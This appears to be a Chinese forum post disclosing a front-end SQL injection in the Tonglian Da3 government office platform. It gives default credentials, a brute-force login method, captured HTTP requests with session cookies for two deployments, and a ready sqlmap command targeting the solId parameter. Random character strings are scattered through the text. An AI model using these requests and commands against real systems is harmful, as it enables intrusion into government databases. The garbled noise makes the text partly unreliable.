同联Da3协同办公平台前台通用sql injection漏洞

admin

; o" v2 }0 A F/ a+ V7 d9 Z3 P

& i2 p5 V' Z8 g, P6 E. `

, M( Q/ X+ ~8 T2 ^ 平台简介： ( {8 W! A* Z9 G y7 y

  7 [+ k' L) ]& K) Y& T, M% i

北京同联信息技术有限公司（以下简称同联）由用友政务与用友原行业事业部团队合伙出资成立。同联以“为全国各级政府单位提供信息化咨询规划、建设解决方案和信息化运维服务，以加强各级政府的精细化、智能化管理，形成高效、敏捷、便民的新型政府。”为使命，致力于为各级政府单位提供专业、标准、灵活、易用的信息化产品及专业的服务。
同联面向政府单位提供专业、标准、灵活、易用的信息化产品。针对各级政府单位，分别提供以“移动政务办公”为主的Da3系列管理软件；针对政法单位提供以“协同办案”为核心的政法协同办案系统等。
8 G$ _8 j7 b7 _$ E同联本着“协作、专业、创新”的工作方针，为推动各级政府单位信息化、促进各级政府快速转型为 “智慧型政府”做出积极贡献！ 3 p7 }( Z+ F" l9 c6 u

2 p1 |+ w0 f6 h7 t# _8 x   1 w9 }, f$ O* c3 V( i

: c& ^. J( Y: K6 X7 \" L

由于此程序为新开发的程序，故能找到的案例并不多，下面附案例地址：

P5 T. ^" F, ~5 m* M

: w4 d" G) u7 N% f   ! ?3 t) J) p6 {& `

U/ j& ]2 c6 V6 m http://1.1.1.1:7197/cap-aco/#（案例2-） 9 q; u' ]: D/ D, M' e, B

8 ~% N, R- X" B' \% z. [. @

http://www.XXOO.com （案例1-官网网站） : ~' ] R( F$ f2 X9 _

  8 F" E6 [# F5 Y( U; H# p( ?! L. D

5 ^0 U: I/ d( A) _* k6 p8 L" C 漏洞详情:

/ ? }, m; x: r' P+ ^  初步确定平台的默认账号为姓名的首字母小写，初始密码为123，为了能够更好的模拟入侵，使用黑盒测试手段进行测试

4 w; A9 X$ x" |

     首先使用burpsuite代理，然后再用黑客字典生成一个全英文小写的3位字典，利用burpsuite进行暴力破解，破解结果如图：

. w+ B0 c. k- h! O: K  

( ]( b" R6 ^( G* p3 @- t% n' V

  6 s+ D5 i* P3 {$ m+ ]) g$ c2 P, b/ R

status为302即表示破解成功，然后找个破解成功的账号登录系统。经过长时间的手工测试发现在发文管理模块抓包，抓包的数据分别如下：

. g b9 b4 ?& | 1、案例1-官方网站 T2 u. Y( ~4 j- v# ]4 B3 ~2 N

GET /bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=42b0234e-d5dc-402d-9cef-1ce38cbae480&state=&title=1111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510060789826 HTTP/1.1

1 V1 \% I X0 X; k

Host: www.XXOO.com 0 D1 K; Z! A4 D; Z+ v

6 q* v: n6 K* W) U1 O- D

Proxy-Connection: Keep-Alive

% a( h% Z! I2 O# X8 g Accept: application/json, text/javascript, */*; q=0.01

" I: y8 |3 w. G( f. G

Accept-Language: zh-CN

Content-Type: application/json

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0; SE 2.X MetaSr 1.0) like Gecko ) t2 D( o. R7 a" o3 `

% q+ P9 Y- e! ^2 e# D' \' w$ j; C" L X-Requested-With: XMLHttpRequest $ E4 j3 h+ G5 G! U2 u) X

4 ~& H4 n7 g1 c8 ^. H

Referer: http://www.XXOO.com/bizRunContro ... 80?modCode=1008M002 ; u% A$ y& z6 e0 Q

$ t5 n* u7 p9 q8 V

: A; w9 t8 H- u0 [ Accept-Encoding: gzip, deflate, sdch 3 g3 m; Y: M* ?* R8 q' j

Cookie: username=chm; password=123; rememberme=1; autoSubmit=1; sid=2cf5142f-6c1e-4cbb-89d8-2ebd08438b2e : B. I5 z) w5 m$ r6 b- g m# b

5 y5 j/ L7 ^* Q+ V; Y- Q* U$ [; B/ w

: k' R1 {5 \. r" m 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r tl.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图: & z) f. r Y3 V' d, j0 e: v8 `; E+ H

0 K c3 C1 p4 i! {% g+ \" a+ M

( Y) J# p k- D/ \( Y/ {% q   & j2 ?4 c& e' V* I9 A' P& d R6 P/ R

7 m/ w7 h; S. Q8 F7 M  

7 |" k P% A2 Q0 P

]" S& u' l7 h  

 

; q' Z" ~; V0 ~: N  

: P. \; d* R) g5 E6 j

2、案例2-某天河云平台 ) L4 U! h8 ]& Q, {

3 h: _3 _3 y. P/ E

- {2 Q* O+ L2 g; |( n GET /cap-aco/bpmRuBizInfoController/findBpmRuBizInfoBySolId?rows=10&page=0&solId=af056885-4ae5-4e0b-8a0d-c413a786f2db&state=&title=11111&sortOrder=DESC&query=bizTitle_%3D%26URGENCY_%3D%26STATE_%3D%26startTime%3D%26endTime%3D&_=1510047738662 HTTP/1.1 " U* z/ X) {4 `9 a% i W

Host: 1.1.1.:7197 8 l) G, U" P& I( \& D- L

5 g' v3 M( l5 {' U

, L b7 u2 d& l8 o Accept: application/json, text/javascript, */*; q=0.01 1 Z# o' \) h# O6 ~8 q+ ?, k) J: [

X-Requested-With: XMLHttpRequest * }" O! ]/ A8 z- q4 B0 X- h

% |2 r/ ^. Y5 D User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0

1 ^4 d. X6 V4 e3 l1 X3 m

# U( q( ^, D% [+ H9 {9 z Content-Type: application/json

$ p0 f& O' P7 w( J, X) S

Referer: http://1.1.1.1:7197/cap-aco/bizR ... 86f2db?modCode=1008 " N- b+ v. p5 R2 c1 v

Accept-Language: zh-CN,zh;q=0.8

Cookie: autoSubmit=1; sid=4e333ec9-d194-456b-bb08-4ff64c6eb1fc; username=lxr; password=123; rememberme=1; autoSubmit=1

0 N' C, n5 ?7 }3 W! b- t+ w6 e Connection: close

1 u# T$ x- m: B0 t$ h' s* E

0 L9 O2 e& c9 C% Q& o$ g/ l" h 将上面post数据包复制到txt文本里保存为tl.txt并将其放到sqlmap根目录下利用sqlmap注入命令为：sqlmap.py -r 1.txt --dbms=mysql --level 5 --risk 3 --tamper=space2hash.py -p solId --is-dba 注入如图:

I$ E; r4 C" w/ B2 s: t   6 E6 _; b0 g6 J, k; R

$ L. ]( t0 c0 B+ P* d# O: M

( t& i X0 P% [; f